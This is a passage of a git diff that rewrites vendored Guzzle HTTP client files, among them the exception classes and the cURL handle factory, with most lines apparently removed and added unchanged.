request', + $request, + null, + $previous, + $ctx + ); + } + + $level = (int) floor($response->getStatusCode() / 100); + if ($level === 4) { + $label = 'Client error'; + $className = ClientException::class; + } elseif ($level === 5) { + $label = 'Server error'; + $className = ServerException::class; + } else { + $label = 'Unsuccessful request'; + $className = __CLASS__; + } + + $uri = $request->getUri(); + $uri = static::obfuscateUri($uri); + + // Client Error: `GET /` resulted in a `404 Not Found` response: + // ... (truncated) + $message = sprintf( + '%s: `%s %s` resulted in a `%s %s` response', + $label, + $request->getMethod(), + $uri, + $response->getStatusCode(), + $response->getReasonPhrase() + ); + + $summary = static::getResponseBodySummary($response); + + if ($summary !== null) { + $message .= ":\n{$summary}\n"; + } + + return new $className($message, $request, $response, $previous, $ctx); + } + + /** + * Get a short summary of the response + * + * Will return `null` if the response is not printable. + * + * @param ResponseInterface $response + * + * @return string|null + */ + public static function getResponseBodySummary(ResponseInterface $response) + { + return \GuzzleHttp\Psr7\get_message_body_summary($response); + } + + /** + * Obfuscates URI if there is a username and a password present + * + * @param UriInterface $uri + * + * @return UriInterface + */ + private static function obfuscateUri(UriInterface $uri) + { + $userInfo = $uri->getUserInfo(); + + if (false !== ($pos = strpos($userInfo, ':'))) { + return $uri->withUserInfo(substr($userInfo, 0, $pos), '***'); + } + + return $uri; + } + + /** + * Get the request that caused the exception + * + * @return RequestInterface + */ + public function getRequest() + { + return $this->request; + } + + /** + * Get the associated response + * + * @return ResponseInterface|null + */ + public function getResponse() + { + return $this->response; + } + + /** + * Check if a response was received + * + * @return bool + */ + public function hasResponse() + { + return $this->response !== null; + } + + /** + * Get contextual information about the error from the underlying handler. + * + * The contents of this array will vary depending on which handler you are + * using. It may also be just an empty array. Relying on this data will + * couple you to a specific handler, but can give more debug information + * when needed. + * + * @return array + */ + public function getHandlerContext() + { + return $this->handlerContext; + } +} diff --git a/vendor/guzzlehttp/guzzle/src/Exception/SeekException.php b/vendor/guzzlehttp/guzzle/src/Exception/SeekException.php index cc8e665e43..a77c28926c 100644 --- a/vendor/guzzlehttp/guzzle/src/Exception/SeekException.php +++ b/vendor/guzzlehttp/guzzle/src/Exception/SeekException.php @@ -1,27 +1,27 @@ -stream = $stream; - $msg = $msg ?: 'Could not seek the stream to position ' . $pos; - parent::__construct($msg); - } - - /** - * @return StreamInterface - */ - public function getStream() - { - return $this->stream; - } -} +stream = $stream; + $msg = $msg ?: 'Could not seek the stream to position ' . $pos; + parent::__construct($msg); + } + + /** + * @return StreamInterface + */ + public function getStream() + { + return $this->stream; + } +} diff --git a/vendor/guzzlehttp/guzzle/src/Exception/ServerException.php b/vendor/guzzlehttp/guzzle/src/Exception/ServerException.php index a573bc6e7e..127094c149 100644 --- a/vendor/guzzlehttp/guzzle/src/Exception/ServerException.php +++ b/vendor/guzzlehttp/guzzle/src/Exception/ServerException.php @@ -1,9 +1,9 @@ -maxHandles = $maxHandles; - } - - public function create(RequestInterface $request, array $options) - { - if (isset($options['curl']['body_as_string'])) { - $options['_body_as_string'] = $options['curl']['body_as_string']; - unset($options['curl']['body_as_string']); - } - - $easy = new EasyHandle; - $easy->request = $request; - $easy->options = $options; - $conf = $this->getDefaultConf($easy); - $this->applyMethod($easy, $conf); - $this->applyHandlerOptions($easy, $conf); - $this->applyHeaders($easy, $conf); - unset($conf['_headers']); - - // Add handler options from the request configuration options - if (isset($options['curl'])) { - $conf = array_replace($conf, $options['curl']); - } - - $conf[CURLOPT_HEADERFUNCTION] = $this->createHeaderFn($easy); - $easy->handle = $this->handles - ? array_pop($this->handles) - : curl_init(); - curl_setopt_array($easy->handle, $conf); - - return $easy; - } - - public function release(EasyHandle $easy) - { - $resource = $easy->handle; - unset($easy->handle); - - if (count($this->handles) >= $this->maxHandles) { - curl_close($resource); - } else { - // Remove all callback functions as they can hold onto references - // and are not cleaned up by curl_reset. Using curl_setopt_array - // does not work for some reason, so removing each one - // individually. - curl_setopt($resource, CURLOPT_HEADERFUNCTION, null); - curl_setopt($resource, CURLOPT_READFUNCTION, null); - curl_setopt($resource, CURLOPT_WRITEFUNCTION, null); - curl_setopt($resource, CURLOPT_PROGRESSFUNCTION, null); - curl_reset($resource); - $this->handles[] = $resource; - } - } - - /** - * Completes a cURL transaction, either returning a response promise or a - * rejected promise. - * - * @param callable $handler - * @param EasyHandle $easy - * @param CurlFactoryInterface $factory Dictates how the handle is released - * - * @return \GuzzleHttp\Promise\PromiseInterface - */ - public static function finish( - callable $handler, - EasyHandle $easy, - CurlFactoryInterface $factory - ) { - if (isset($easy->options['on_stats'])) { - self::invokeStats($easy); - } - - if (!$easy->response || $easy->errno) { - return self::finishError($handler, $easy, $factory); - } - - // Return the response if it is present and there is no error. - $factory->release($easy); - - // Rewind the body of the response if possible. - $body = $easy->response->getBody(); - if ($body->isSeekable()) { - $body->rewind(); - } - - return new FulfilledPromise($easy->response); - } - - private static function invokeStats(EasyHandle $easy) - { - $curlStats = curl_getinfo($easy->handle); - $curlStats['appconnect_time'] = curl_getinfo($easy->handle, CURLINFO_APPCONNECT_TIME); - $stats = new TransferStats( - $easy->request, - $easy->response, - $curlStats['total_time'], - $easy->errno, - $curlStats - ); - call_user_func($easy->options['on_stats'], $stats); - } - - private static function finishError( - callable $handler, - EasyHandle $easy, - CurlFactoryInterface $factory - ) { - // Get error information and release the handle to the factory. - $ctx = [ - 'errno' => $easy->errno, - 'error' => curl_error($easy->handle), - 'appconnect_time' => curl_getinfo($easy->handle, CURLINFO_APPCONNECT_TIME), - ] + curl_getinfo($easy->handle); - $ctx[self::CURL_VERSION_STR] = curl_version()['version']; - $factory->release($easy); - - // Retry when nothing is present or when curl failed to rewind. - if (empty($easy->options['_err_message']) - && (!$easy->errno || $easy->errno == 65) - ) { - return self::retryFailedRewind($handler, $easy, $ctx); - } - - return self::createRejection($easy, $ctx); - } - - private static function createRejection(EasyHandle $easy, array $ctx) - { - static $connectionErrors = [ - CURLE_OPERATION_TIMEOUTED => true, - CURLE_COULDNT_RESOLVE_HOST => true, - CURLE_COULDNT_CONNECT => true, - CURLE_SSL_CONNECT_ERROR => true, - CURLE_GOT_NOTHING => true, - ]; - - // If an exception was encountered during the onHeaders event, then - // return a rejected promise that wraps that exception. - if ($easy->onHeadersException) { - return \GuzzleHttp\Promise\rejection_for( - new RequestException( - 'An error was encountered during the on_headers event', - $easy->request, - $easy->response, - $easy->onHeadersException, - $ctx - ) - ); - } - if (version_compare($ctx[self::CURL_VERSION_STR], self::LOW_CURL_VERSION_NUMBER)) { - $message = sprintf( - 'cURL error %s: %s (%s)', - $ctx['errno'], - $ctx['error'], - 'see https://curl.haxx.se/libcurl/c/libcurl-errors.html' - ); - } else { - $message = sprintf( - 'cURL error %s: %s (%s) for %s', - $ctx['errno'], - $ctx['error'], - 'see https://curl.haxx.se/libcurl/c/libcurl-errors.html', - $easy->request->getUri() - ); - } - - // Create a connection exception if it was a specific error code. - $error = isset($connectionErrors[$easy->errno]) - ? new ConnectException($message, $easy->request, null, $ctx) - : new RequestException($message, $easy->request, $easy->response, null, $ctx); - - return \GuzzleHttp\Promise\rejection_for($error); - } - - private function getDefaultConf(EasyHandle $easy) - { - $conf = [ - '_headers' => $easy->request->getHeaders(), - CURLOPT_CUSTOMREQUEST => $easy->request->getMethod(), - CURLOPT_URL => (string) $easy->request->getUri()->withFragment(''), - CURLOPT_RETURNTRANSFER => false, - CURLOPT_HEADER => false, - CURLOPT_CONNECTTIMEOUT => 150, - ]; - - if (defined('CURLOPT_PROTOCOLS')) { - $conf[CURLOPT_PROTOCOLS] = CURLPROTO_HTTP | CURLPROTO_HTTPS; - } - - $version = $easy->request->getProtocolVersion(); - if ($version == 1.1) { - $conf[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_1_1; - } elseif ($version == 2.0) { - $conf[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_2_0; - } else { - $conf[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_1_0; - } - - return $conf; - } - - private function applyMethod(EasyHandle $easy, array &$conf) - { - $body = $easy->request->getBody(); - $size = $body->getSize(); - - if ($size === null || $size > 0) { - $this->applyBody($easy->request, $easy->options, $conf); - return; - } - - $method = $easy->request->getMethod(); - if ($method === 'PUT' || $method === 'POST') { - // See http://tools.ietf.org/html/rfc7230#section-3.3.2 - if (!$easy->request->hasHeader('Content-Length')) { - $conf[CURLOPT_HTTPHEADER][] = 'Content-Length: 0'; - } - } elseif ($method === 'HEAD') { - $conf[CURLOPT_NOBODY] = true; - unset( - $conf[CURLOPT_WRITEFUNCTION], - $conf[CURLOPT_READFUNCTION], - $conf[CURLOPT_FILE], - $conf[CURLOPT_INFILE] - ); - } - } - - private function applyBody(RequestInterface $request, array $options, array &$conf) - { - $size = $request->hasHeader('Content-Length') - ? (int) $request->getHeaderLine('Content-Length') - : null; - - // Send the body as a string if the size is less than 1MB OR if the - // [curl][body_as_string] request value is set. - if (($size !== null && $size < 1000000) || - !empty($options['_body_as_string']) - ) { - $conf[CURLOPT_POSTFIELDS] = (string) $request->getBody(); - // Don't duplicate the Content-Length header - $this->removeHeader('Content-Length', $conf); - $this->removeHeader('Transfer-Encoding', $conf); - } else { - $conf[CURLOPT_UPLOAD] = true; - if ($size !== null) { - $conf[CURLOPT_INFILESIZE] = $size; - $this->removeHeader('Content-Length', $conf); - } - $body = $request->getBody(); - if ($body->isSeekable()) { - $body->rewind(); - } - $conf[CURLOPT_READFUNCTION] = function ($ch, $fd, $length) use ($body) { - return $body->read($length); - }; - } - - // If the Expect header is not present, prevent curl from adding it - if (!$request->hasHeader('Expect')) { - $conf[CURLOPT_HTTPHEADER][] = 'Expect:'; - } - - // cURL sometimes adds a content-type by default. Prevent this. - if (!$request->hasHeader('Content-Type')) { - $conf[CURLOPT_HTTPHEADER][] = 'Content-Type:'; - } - } - - private function applyHeaders(EasyHandle $easy, array &$conf) - { - foreach ($conf['_headers'] as $name => $values) { - foreach ($values as $value) { - $value = (string) $value; - if ($value === '') { - // cURL requires a special format for empty headers. - // See https://github.com/guzzle/guzzle/issues/1882 for more details. - $conf[CURLOPT_HTTPHEADER][] = "$name;"; - } else { - $conf[CURLOPT_HTTPHEADER][] = "$name: $value"; - } - } - } - - // Remove the Accept header if one was not set - if (!$easy->request->hasHeader('Accept')) { - $conf[CURLOPT_HTTPHEADER][] = 'Accept:'; - } - } - - /** - * Remove a header from the options array. - * - * @param string $name Case-insensitive header to remove - * @param array $options Array of options to modify - */ - private function removeHeader($name, array &$options) - { - foreach (array_keys($options['_headers']) as $key) { - if (!strcasecmp($key, $name)) { - unset($options['_headers'][$key]); - return; - } - } - } - - private function applyHandlerOptions(EasyHandle $easy, array &$conf) - { - $options = $easy->options; - if (isset($options['verify'])) { - if ($options['verify'] === false) { - unset($conf[CURLOPT_CAINFO]); - $conf[CURLOPT_SSL_VERIFYHOST] = 0; - $conf[CURLOPT_SSL_VERIFYPEER] = false; - } else { - $conf[CURLOPT_SSL_VERIFYHOST] = 2; - $conf[CURLOPT_SSL_VERIFYPEER] = true; - if (is_string($options['verify'])) { - // Throw an error if the file/folder/link path is not valid or doesn't exist. - if (!file_exists($options['verify'])) { - throw new \InvalidArgumentException( - "SSL CA bundle not found: {$options['verify']}" - ); - } - // If it's a directory or a link to a directory use CURLOPT_CAPATH. - // If not, it's probably a file, or a link to a file, so use CURLOPT_CAINFO. - if (is_dir($options['verify']) || - (is_link($options['verify']) && is_dir(readlink($options['verify'])))) { - $conf[CURLOPT_CAPATH] = $options['verify']; - } else { - $conf[CURLOPT_CAINFO] = $options['verify']; - } - } - } - } - - if (!empty($options['decode_content'])) { - $accept = $easy->request->getHeaderLine('Accept-Encoding'); - if ($accept) { - $conf[CURLOPT_ENCODING] = $accept; - } else { - $conf[CURLOPT_ENCODING] = ''; - // Don't let curl send the header over the wire - $conf[CURLOPT_HTTPHEADER][] = 'Accept-Encoding:'; - } - } - - if (isset($options['sink'])) { - $sink = $options['sink']; - if (!is_string($sink)) { - $sink = \GuzzleHttp\Psr7\stream_for($sink); - } elseif (!is_dir(dirname($sink))) { - // Ensure that the directory exists before failing in curl. - throw new \RuntimeException(sprintf( - 'Directory %s does not exist for sink value of %s', - dirname($sink), - $sink - )); - } else { - $sink = new LazyOpenStream($sink, 'w+'); - } - $easy->sink = $sink; - $conf[CURLOPT_WRITEFUNCTION] = function ($ch, $write) use ($sink) { - return $sink->write($write); - }; - } else { - // Use a default temp stream if no sink was set. - $conf[CURLOPT_FILE] = fopen('php://temp', 'w+'); - $easy->sink = Psr7\stream_for($conf[CURLOPT_FILE]); - } - $timeoutRequiresNoSignal = false; - if (isset($options['timeout'])) { - $timeoutRequiresNoSignal |= $options['timeout'] < 1; - $conf[CURLOPT_TIMEOUT_MS] = $options['timeout'] * 1000; - } - - // CURL default value is CURL_IPRESOLVE_WHATEVER - if (isset($options['force_ip_resolve'])) { - if ('v4' === $options['force_ip_resolve']) { - $conf[CURLOPT_IPRESOLVE] = CURL_IPRESOLVE_V4; - } elseif ('v6' === $options['force_ip_resolve']) { - $conf[CURLOPT_IPRESOLVE] = CURL_IPRESOLVE_V6; - } - } - - if (isset($options['connect_timeout'])) { - $timeoutRequiresNoSignal |= $options['connect_timeout'] < 1; - $conf[CURLOPT_CONNECTTIMEOUT_MS] = $options['connect_timeout'] * 1000; - } - - if ($timeoutRequiresNoSignal && strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN') { - $conf[CURLOPT_NOSIGNAL] = true; - } - - if (isset($options['proxy'])) { - if (!is_array($options['proxy'])) { - $conf[CURLOPT_PROXY] = $options['proxy']; - } else { - $scheme = $easy->request->getUri()->getScheme(); - if (isset($options['proxy'][$scheme])) { - $host = $easy->request->getUri()->getHost(); - if (!isset($options['proxy']['no']) || - !\GuzzleHttp\is_host_in_noproxy($host, $options['proxy']['no']) - ) { - $conf[CURLOPT_PROXY] = $options['proxy'][$scheme]; - } - } - } - } - - if (isset($options['cert'])) { - $cert = $options['cert']; - if (is_array($cert)) { - $conf[CURLOPT_SSLCERTPASSWD] = $cert[1]; - $cert = $cert[0]; - } - if (!file_exists($cert)) { - throw new \InvalidArgumentException( - "SSL certificate not found: {$cert}" - ); - } - $conf[CURLOPT_SSLCERT] = $cert; - } - - if (isset($options['ssl_key'])) { - if (is_array($options['ssl_key'])) { - if (count($options['ssl_key']) === 2) { - list($sslKey, $conf[CURLOPT_SSLKEYPASSWD]) = $options['ssl_key']; - } else { - list($sslKey) = $options['ssl_key']; - } - } - - $sslKey = isset($sslKey) ? $sslKey: $options['ssl_key']; - - if (!file_exists($sslKey)) { - throw new \InvalidArgumentException( - "SSL private key not found: {$sslKey}" - ); - } - $conf[CURLOPT_SSLKEY] = $sslKey; - } - - if (isset($options['progress'])) { - $progress = $options['progress']; - if (!is_callable($progress)) { - throw new \InvalidArgumentException( - 'progress client option must be callable' - ); - } - $conf[CURLOPT_NOPROGRESS] = false; - $conf[CURLOPT_PROGRESSFUNCTION] = function () use ($progress) { - $args = func_get_args(); - // PHP 5.5 pushed the handle onto the start of the args - if (is_resource($args[0])) { - array_shift($args); - } - call_user_func_array($progress, $args); - }; - } - - if (!empty($options['debug'])) { - $conf[CURLOPT_STDERR] = \GuzzleHttp\debug_resource($options['debug']); - $conf[CURLOPT_VERBOSE] = true; - } - } - - /** - * This function ensures that a response was set on a transaction. If one - * was not set, then the request is retried if possible. This error - * typically means you are sending a payload, curl encountered a - * "Connection died, retrying a fresh connect" error, tried to rewind the - * stream, and then encountered a "necessary data rewind wasn't possible" - * error, causing the request to be sent through curl_multi_info_read() - * without an error status. - */ - private static function retryFailedRewind( - callable $handler, - EasyHandle $easy, - array $ctx - ) { - try { - // Only rewind if the body has been read from. - $body = $easy->request->getBody(); - if ($body->tell() > 0) { - $body->rewind(); - } - } catch (\RuntimeException $e) { - $ctx['error'] = 'The connection unexpectedly failed without ' - . 'providing an error. The request would have been retried, ' - . 'but attempting to rewind the request body failed. ' - . 'Exception: ' . $e; - return self::createRejection($easy, $ctx); - } - - // Retry no more than 3 times before giving up. - if (!isset($easy->options['_curl_retries'])) { - $easy->options['_curl_retries'] = 1; - } elseif ($easy->options['_curl_retries'] == 2) { - $ctx['error'] = 'The cURL request was retried 3 times ' - . 'and did not succeed. The most likely reason for the failure ' - . 'is that cURL was unable to rewind the body of the request ' - . 'and subsequent retries resulted in the same error. Turn on ' - . 'the debug option to see what went wrong. See ' - . 'https://bugs.php.net/bug.php?id=47204 for more information.'; - return self::createRejection($easy, $ctx); - } else { - $easy->options['_curl_retries']++; - } - - return $handler($easy->request, $easy->options); - } - - private function createHeaderFn(EasyHandle $easy) - { - if (isset($easy->options['on_headers'])) { - $onHeaders = $easy->options['on_headers']; - - if (!is_callable($onHeaders)) { - throw new \InvalidArgumentException('on_headers must be callable'); - } - } else { - $onHeaders = null; - } - - return function ($ch, $h) use ( - $onHeaders, - $easy, - &$startingResponse - ) { - $value = trim($h); - if ($value === '') { - $startingResponse = true; - $easy->createResponse(); - if ($onHeaders !== null) { - try { - $onHeaders($easy->response); - } catch (\Exception $e) { - // Associate the exception with the handle and trigger - // a curl header write error by returning 0. - $easy->onHeadersException = $e; - return -1; - } - } - } elseif ($startingResponse) { - $startingResponse = false; - $easy->headers = [$value]; - } else { - $easy->headers[] = $value; - } - return strlen($h); - }; - } -} +maxHandles = $maxHandles; + } + + public function create(RequestInterface $request, array $options) + { + if (isset($options['curl']['body_as_string'])) { + $options['_body_as_string'] = $options['curl']['body_as_string']; + unset($options['curl']['body_as_string']); + } + + $easy = new EasyHandle; + $easy->request = $request; + $easy->options = $options; + $conf = $this->getDefaultConf($easy); + $this->applyMethod($easy, $conf); + $this->applyHandlerOptions($easy, $conf); + $this->applyHeaders($easy, $conf); + unset($conf['_headers']); + + // Add handler options from the request configuration options + if (isset($options['curl'])) { + $conf = array_replace($conf, $options['curl']); + } + + $conf[CURLOPT_HEADERFUNCTION] = $this->createHeaderFn($easy); + $easy->handle = $this->handles + ? array_pop($this->handles) + : curl_init(); + curl_setopt_array($easy->handle, $conf); + + return $easy; + } + + public function release(EasyHandle $easy) + { + $resource = $easy->handle; + unset($easy->handle); + + if (count($this->handles) >= $this->maxHandles) { + curl_close($resource); + } else { + // Remove all callback functions as they can hold onto references + // and are not cleaned up by curl_reset. Using curl_setopt_array + // does not work for some reason, so removing each one + // individually. + curl_setopt($resource, CURLOPT_HEADERFUNCTION, null); + curl_setopt($resource, CURLOPT_READFUNCTION, null); + curl_setopt($resource, CURLOPT_WRITEFUNCTION, null); + curl_setopt($resource, CURLOPT_PROGRESSFUNCTION, null); + curl_reset($resource); + $this->handles[] = $resource; + } + } + + /** + * Completes a cURL transaction, either returning a response promise or a + * rejected promise. + * + * @param callable $handler + * @param EasyHandle $easy + * @param CurlFactoryInterface $factory Dictates how the handle is released + * + * @return \GuzzleHttp\Promise\PromiseInterface + */ + public static function finish( + callable $handler, + EasyHandle $easy, + CurlFactoryInterface $factory + ) { + if (isset($easy->options['on_stats'])) { + self::invokeStats($easy); + } + + if (!$easy->response || $easy->errno) { + return self::finishError($handler, $easy, $factory); + } + + // Return the response if it is present and there is no error. + $factory->release($easy); + + // Rewind the body of the response if possible. + $body = $easy->response->getBody(); + if ($body->isSeekable()) { + $body->rewind(); + } + + return new FulfilledPromise($easy->response); + } + + private static function invokeStats(EasyHandle $easy) + { + $curlStats = curl_getinfo($easy->handle); + $curlStats['appconnect_time'] = curl_getinfo($easy->handle, CURLINFO_APPCONNECT_TIME); + $stats = new TransferStats( + $easy->request, + $easy->response, + $curlStats['total_time'], + $easy->errno, + $curlStats + ); + call_user_func($easy->options['on_stats'], $stats); + } + + private static function finishError( + callable $handler, + EasyHandle $easy, + CurlFactoryInterface $factory + ) { + // Get error information and release the handle to the factory. + $ctx = [ + 'errno' => $easy->errno, + 'error' => curl_error($easy->handle), + 'appconnect_time' => curl_getinfo($easy->handle, CURLINFO_APPCONNECT_TIME), + ] + curl_getinfo($easy->handle); + $ctx[self::CURL_VERSION_STR] = curl_version()['version']; + $factory->release($easy); + + // Retry when nothing is present or when curl failed to rewind. + if (empty($easy->options['_err_message']) + && (!$easy->errno || $easy->errno == 65) + ) { + return self::retryFailedRewind($handler, $easy, $ctx); + } + + return self::createRejection($easy, $ctx); + } + + private static function createRejection(EasyHandle $easy, array $ctx) + { + static $connectionErrors = [ + CURLE_OPERATION_TIMEOUTED => true, + CURLE_COULDNT_RESOLVE_HOST => true, + CURLE_COULDNT_CONNECT => true, + CURLE_SSL_CONNECT_ERROR => true, + CURLE_GOT_NOTHING => true, + ]; + + // If an exception was encountered during the onHeaders event, then + // return a rejected promise that wraps that exception. + if ($easy->onHeadersException) { + return \GuzzleHttp\Promise\rejection_for( + new RequestException( + 'An error was encountered during the on_headers event', + $easy->request, + $easy->response, + $easy->onHeadersException, + $ctx + ) + ); + } + if (version_compare($ctx[self::CURL_VERSION_STR], self::LOW_CURL_VERSION_NUMBER)) { + $message = sprintf( + 'cURL error %s: %s (%s)', + $ctx['errno'], + $ctx['error'], + 'see https://curl.haxx.se/libcurl/c/libcurl-errors.html' + ); + } else { + $message = sprintf( + 'cURL error %s: %s (%s) for %s', + $ctx['errno'], + $ctx['error'], + 'see https://curl.haxx.se/libcurl/c/libcurl-errors.html', + $easy->request->getUri() + ); + } + + // Create a connection exception if it was a specific error code. + $error = isset($connectionErrors[$easy->errno]) + ? new ConnectException($message, $easy->request, null, $ctx) + : new RequestException($message, $easy->request, $easy->response, null, $ctx); + + return \GuzzleHttp\Promise\rejection_for($error); + } + + private function getDefaultConf(EasyHandle $easy) + { + $conf = [ + '_headers' => $easy->request->getHeaders(), + CURLOPT_CUSTOMREQUEST => $easy->request->getMethod(), + CURLOPT_URL => (string) $easy->request->getUri()->withFragment(''), + CURLOPT_RETURNTRANSFER => false, + CURLOPT_HEADER => false, + CURLOPT_CONNECTTIMEOUT => 150, + ]; + + if (defined('CURLOPT_PROTOCOLS')) { + $conf[CURLOPT_PROTOCOLS] = CURLPROTO_HTTP | CURLPROTO_HTTPS; + } + + $version = $easy->request->getProtocolVersion(); + if ($version == 1.1) { + $conf[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_1_1; + } elseif ($version == 2.0) { + $conf[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_2_0; + } else { + $conf[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_1_0; + } + + return $conf; + } + + private function applyMethod(EasyHandle $easy, array &$conf) + { + $body = $easy->request->getBody(); + $size = $body->getSize(); + + if ($size === null || $size > 0) { + $this->applyBody($easy->request, $easy->options, $conf); + return; + } + + $method = $easy->request->getMethod(); + if ($method === 'PUT' || $method === 'POST') { + // See http://tools.ietf.org/html/rfc7230#section-3.3.2 + if (!$easy->request->hasHeader('Content-Length')) { + $conf[CURLOPT_HTTPHEADER][] = 'Content-Length: 0'; + } + } elseif ($method === 'HEAD') { + $conf[CURLOPT_NOBODY] = true; + unset( + $conf[CURLOPT_WRITEFUNCTION], + $conf[CURLOPT_READFUNCTION], + $conf[CURLOPT_FILE], + $conf[CURLOPT_INFILE] + ); + } + } + + private function applyBody(RequestInterface $request, array $options, array &$conf) + { + $size = $request->hasHeader('Content-Length') + ? (int) $request->getHeaderLine('Content-Length') + : null; + + // Send the body as a string if the size is less than 1MB OR if the + // [curl][body_as_string] request value is set. + if (($size !== null && $size < 1000000) || + !empty($options['_body_as_string']) + ) { + $conf[CURLOPT_POSTFIELDS] = (string) $request->getBody(); + // Don't duplicate the Content-Length header + $this->removeHeader('Content-Length', $conf); + $this->removeHeader('Transfer-Encoding', $conf); + } else { + $conf[CURLOPT_UPLOAD] = true; + if ($size !== null) { + $conf[CURLOPT_INFILESIZE] = $size; + $this->removeHeader('Content-Length', $conf); + } + $body = $request->getBody(); + if ($body->isSeekable()) { + $body->rewind(); + } + $conf[CURLOPT_READFUNCTION] = function ($ch, $fd, $length) use ($body) { + return $body->read($length); + }; + } + + // If the Expect header is not present, prevent curl from adding it + if (!$request->hasHeader('Expect')) { + $conf[CURLOPT_HTTPHEADER][] = 'Expect:'; + } + + // cURL sometimes adds a content-type by default. Prevent this. + if (!$request->hasHeader('Content-Type')) { + $conf[CURLOPT_HTTPHEADER][] = 'Content-Type:'; + } + } + + private function applyHeaders(EasyHandle $easy, array &$conf) + { + foreach ($conf['_headers'] as $name => $values) { + foreach ($values as $value) { + $value = (string) $value; + if ($value === '') { + // cURL requires a special format for empty headers. + // See https://github.com/guzzle/guzzle/issues/1882 for more details. + $conf[CURLOPT_HTTPHEADER][] = "$name;"; + } else { + $conf[CURLOPT_HTTPHEADER][] = "$name: $value"; + } + } + } + + // Remove the Accept header if one was not set + if (!$easy->request->hasHeader('Accept')) { + $conf[CURLOPT_HTTPHEADER][] = 'Accept:'; + } + } + + /** + * Remove a header from the options array. + * + * @param string $name Case-insensitive header to remove + * @param array $options Array of options to modify + */ + private function removeHeader($name, array &$options) + { + foreach (array_keys($options['_headers']) as $key) { + if (!strcasecmp($key, $name)) { + unset($options['_headers'][$key]); + return; + } + } + } + + private function applyHandlerOptions(EasyHandle $easy, array &$conf) + { + $options = $easy->options; + if (isset($options['verify'])) { + if ($options['verify'] === false) { + unset($conf[CURLOPT_CAINFO]); + $conf[CURLOPT_SSL_VERIFYHOST] = 0; + $conf[CURLOPT_SSL_VERIFYPEER] = false; + } else { + $conf[CURLOPT_SSL_VERIFYHOST] = 2; + $conf[CURLOPT_SSL_VERIFYPEER] = true; + if (is_string($options['verify'])) { + // Throw an error if the file/folder/link path is not valid or doesn't exist. + if (!file_exists($options['verify'])) { + throw new \InvalidArgumentException( + "SSL CA bundle not found: {$options['verify']}" + ); + } + // If it's a directory or a link to a directory use CURLOPT_CAPATH. + // If not, it's probably a file, or a link to a file, so use CURLOPT_CAINFO. + if (is_dir($options['verify']) || + (is_link($options['verify']) && is_dir(readlink($options['verify'])))) { + $conf[CURLOPT_CAPATH] = $options['verify']; + } else { + $conf[CURLOPT_CAINFO] = $options['verify']; + } + } + } + } + + if (!empty($options['decode_content'])) { + $accept = $easy->request->getHeaderLine('Accept-Encoding'); + if ($accept) { + $conf[CURLOPT_ENCODING] = $accept; + } else { + $conf[CURLOPT_ENCODING] = ''; + // Don't let curl send the header over the wire + $conf[CURLOPT_HTTPHEADER][] = 'Accept-Encoding:'; + } + } + + if (isset($options['sink'])) { + $sink = $options['sink']; + if (!is_string($sink)) { + $sink = \GuzzleHttp\Psr7\stream_for($sink); + } elseif (!is_dir(dirname($sink))) { + // Ensure that the directory exists before failing in curl. + throw new \RuntimeException(sprintf( + 'Directory %s does not exist for sink value of %s', + dirname($sink), + $sink + )); + } else { + $sink = new LazyOpenStream($sink, 'w+'); + } + $easy->sink = $sink; + $conf[CURLOPT_WRITEFUNCTION] = function ($ch, $write) use ($sink) { + return $sink->write($write); + }; + } else { + // Use a default temp stream if no sink was set. + $conf[CURLOPT_FILE] = fopen('php://temp', 'w+'); + $easy->sink = Psr7\stream_for($conf[CURLOPT_FILE]); + } + $timeoutRequiresNoSignal = false; + if (isset($options['timeout'])) { + $timeoutRequiresNoSignal |= $options['timeout'] < 1; + $conf[CURLOPT_TIMEOUT_MS] = $options['timeout'] * 1000; + } + + // CURL default value is CURL_IPRESOLVE_WHATEVER + if (isset($options['force_ip_resolve'])) { + if ('v4' === $options['force_ip_resolve']) { + $conf[CURLOPT_IPRESOLVE] = CURL_IPRESOLVE_V4; + } elseif ('v6' === $options['force_ip_resolve']) { + $conf[CURLOPT_IPRESOLVE] = CURL_IPRESOLVE_V6; + } + } + + if (isset($options['connect_timeout'])) { + $timeoutRequiresNoSignal |= $options['connect_timeout'] < 1; + $conf[CURLOPT_CONNECTTIMEOUT_MS] = $options['connect_timeout'] * 1000; + } + + if ($timeoutRequiresNoSignal && strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN') { + $conf[CURLOPT_NOSIGNAL] = true; + } + + if (isset($options['proxy'])) { + if (!is_array($options['proxy'])) { + $conf[CURLOPT_PROXY] = $options['proxy']; + } else { + $scheme = $easy->request->getUri()->getScheme(); + if (isset($options['proxy'][$scheme])) { + $host = $easy->request->getUri()->getHost(); + if (!isset($options['proxy']['no']) || + !\GuzzleHttp\is_host_in_noproxy($host, $options['proxy']['no']) + ) { + $conf[CURLOPT_PROXY] = $options['proxy'][$scheme]; + } + } + } + } + + if (isset($options['cert'])) { + $cert = $options['cert']; + if (is_array($cert)) { + $conf[CURLOPT_SSLCERTPASSWD] = $cert[1]; + $cert = $cert[0]; + } + if (!file_exists($cert)) { + throw new \InvalidArgumentException( + "SSL certificate not found: {$cert}" + ); + } + $conf[CURLOPT_SSLCERT] = $cert; + } + + if (isset($options['ssl_key'])) { + if (is_array($options['ssl_key'])) { + if (count($options['ssl_key']) === 2) { + list($sslKey, $conf[CURLOPT_SSLKEYPASSWD]) = $options['ssl_key']; + } else { + list($sslKey) = $options['ssl_key']; + } + } + + $sslKey = isset($sslKey) ? $sslKey: $options['ssl_key']; + + if (!file_exists($sslKey)) { + throw new \InvalidArgumentException( + "SSL private key not found: {$sslKey}" + ); + } + $conf[CURLOPT_SSLKEY] = $sslKey; + } + + if (isset($options['progress'])) { + $progress = $options['progress']; + if (!is_callable($progress)) { + throw new \InvalidArgumentException( + 'progress client option must be callable' + ); + } + $conf[CURLOPT_NOPROGRESS] = false; + $conf[CURLOPT_PROGRESSFUNCTION] = function () use ($progress) { + $args = func_get_args(); + // PHP 5.5 pushed the handle onto the start of the args + if (is_resource($args[0])) { + array_shift($args); + } + call_user_func_array($progress, $args); + }; + } + + if (!empty($options['debug'])) { + $conf[CURLOPT_STDERR] = \GuzzleHttp\debug_resource($options['debug']); + $conf[CURLOPT_VERBOSE] = true; + } + } + + /** + * 